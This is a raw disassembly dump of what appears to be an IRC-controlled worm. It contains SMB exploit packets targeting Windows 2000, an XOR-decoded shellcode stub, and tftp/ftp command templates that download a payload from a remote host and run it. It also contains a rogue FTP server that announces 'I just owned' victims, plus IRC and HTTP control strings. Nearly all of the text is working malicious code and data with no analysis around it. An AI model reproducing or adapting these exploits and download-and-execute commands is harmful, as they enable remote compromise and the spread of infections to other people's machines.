; DATA XREF: sub_40E18F+17Eo
; sub_40E18F+1F4o
dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h
dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h
dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
dword_439778 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+198o
; sub_40E18F+20Eo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h
dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h
dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
dd 0
dd 1000000h, 0
dd 0AD91A700h, 0
dword_4398D4 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+1AFo
; sub_40E18F+225o
dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch
dd 100200h, 1C0000h, 0
dd 40000h, 0
dd 1Fh, 0
unk_439940 db 81h ; ; DATA XREF: sub_40E18F+283o
db 2 dup(0), 44h
aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0
dd 0
dword_43998C dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_40E18F+2A4o
dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_4399E8 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40E18F+2BEo
dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2 db 'Windows 2000 5.0',0
dd 0
dword_439A9C dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40E18F+2D8o
dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 0A3h
db 9Eh ; ž
db 5Eh, 9Bh, 4
db 57h ; W
db 0E3h, 15h, 0B7h
db 6Fh ; o
db 44h, 0E9h, 1Eh
db 49h ; I
db 0FEh, 0C0h, 0BEh
db 0E9h ; é
db 0A6h, 0A7h, 7Fh
aPmiw db 'pmiW',0
dd offset byte_52004F
dd offset byte_53004B
dd offset loc_410053+1
dd offset dword_490054
dd offset byte_4E004F
db 31h, 0, 57h
aIndows200021_0 db 'indows 2000 2195',0
aWindows20005_3 db 'Windows 2000 5.0',0
align 4
dword_439B94 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+2EFo
dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
db 0
db 2 dup(0), 40h
db 0
db 2 dup(0), 25h
db 0
db 2 dup(0), 57h
aIndows200021_1 db 'indows 2000 2195',0
aWindows20005_4 db 'Windows 2000 5.0',0
align 4
dword_439BFC dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+306o
dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_439C3C dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+31Do
dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 0
dword_439CA0 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+337o
dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_439D38 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+351o
; sub_40E18F+3E0o
dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 0F2001F00h, 1F2207Ch, 0
dd 1000000h, 0
dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h
dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh
dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh
dword_439E94 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+36Bo
; sub_40E18F+3FAo
dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h
dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h
dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h
dword_439FF0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+385o
; sub_40E18F+414o
dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh
dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh
dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h
dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
dword_43A14C dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+39Fo
; sub_40E18F+42Eo
dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h
dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch
dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h
dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh
dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h
dword_43A2A8 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+3B9o
; sub_40E18F+448o
dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch
dd 100200h, 800000h, 0
dd 680000h, 0
dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
dd 0BE895Bh, 20000h, 0
dd 20000h, 2EB0000h, 760000h, 2 dup(0)
dword_43A378 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43A3C4 dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
dd 1, 2 dup(0)
dword_43A3F4 dd 0FAh, 2, 0 dd 2, 0
dd 0FAh, 2 dup(0)
dword_43A414 dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh
; ---------------------------------------------------------------------------
loc_43A41E: ; CODE XREF: .nsp0:0043A428j
xor dword ptr [ebx+13h], 889097A8h
sub ebx, 0FFFFFFFCh
loop loc_43A41E
sub [ebx+6Fh], edx
db 67h
push edi
push 7CC274D4h
frstor byte ptr [eax+51h]
push 1CC8776Fh
cld
lodsb
mov word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
db 0F0h, 0A9h, 78h
dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh
dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h
dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h
dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h
dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h
dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E699+96o
aBindingToRpcIn db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E7D2+1D8o
align 4
aFailedToConnec db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E7D2+18Eo
align 4
dword_43A5CC dd 163h, 0 dword_43A5D4 dd 20804h, 0 dword_43A5DC dd 2080Ah, 0 dword_43A5E4 dd 200F1001h, 0Ah, 1001802h, 0 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aCmdKEchoOpen_0 db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40EAA2+92o
; sub_418D50+90o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: .nsp0:0041A50Eo
aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F168+5D7o
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40F168+5B6o
align 4
aFtpIJustOwnedS db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40F168+565o
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F168+551o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40F168+4F4o
align 10h
aRetr db 'RETR',0 ; DATA XREF: sub_40F168+4DCo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F168+4CCo
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F168+4BBo
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F168+488o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F168+447o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_40F168+40Eo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F168+3E0o
align 4
aList_0 db 'LIST',0 ; DATA XREF: sub_40F168+3CDo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40F168+395o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_40F168+382o
align 10h
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F168+372o
aI: ; DATA XREF: sub_40F168+35Eo
; .nsp0:0043FF58o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F168+33Bo
aA: ; DATA XREF: sub_40F168+327o
; .nsp0:0043FF64o
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_40F168:loc_40F471o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F168+2FEo
align 4
off_43BA98 dd offset dword_445750 ; DATA XREF: sub_40F168+2EAo
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F168+2DDo
align 10h
aRest db 'REST',0 ; DATA XREF: sub_40F168+2C9o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F168+2BCo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_40F168+2A8o
align 10h
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F168+29Bo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_40F168+287o
align 10h
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F168+277o
align 4
aSS_0 db '%s %s',0 ; DATA XREF: sub_40F168+251o
align 10h
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F168+1C9o
align 4
unk_43BB28 db 2Dh ; - ; DATA XREF: sub_40F891+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_43BB50 db 0Dh,0Ah,0 ; DATA XREF: sub_40F891+2CFo
; sub_41AD75+F2o
align 4
aGet_0 db 'GET ',0 ; DATA XREF: sub_40F891+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FCEC+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FCEC+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FCEC+97o
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FCEC+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FCEC:loc_40FD51o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FCEC+5Eo
align 10h
unk_43BD70 db 2Dh ; - ; DATA XREF: .nsp0:004100FDo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_35 db ' failed to start worker thread, error %d',0
align 4
unk_43BDA8 db 2Dh ; - ; DATA XREF: .nsp0:00410079o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
aS_5 db '\%s',0 ; DATA XREF: .nsp0:0040FE9Do
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_41011E+64Eo
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_41011E+618o
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41011E+589o
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41011E+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41011E:loc_410636o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41011E+511o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41011E+471o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+434o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41011E+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41011E:loc_4104E0o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41011E+3BBo
align 4
aSS_1 db '%s%s/',0 ; DATA XREF: sub_41011E+374o
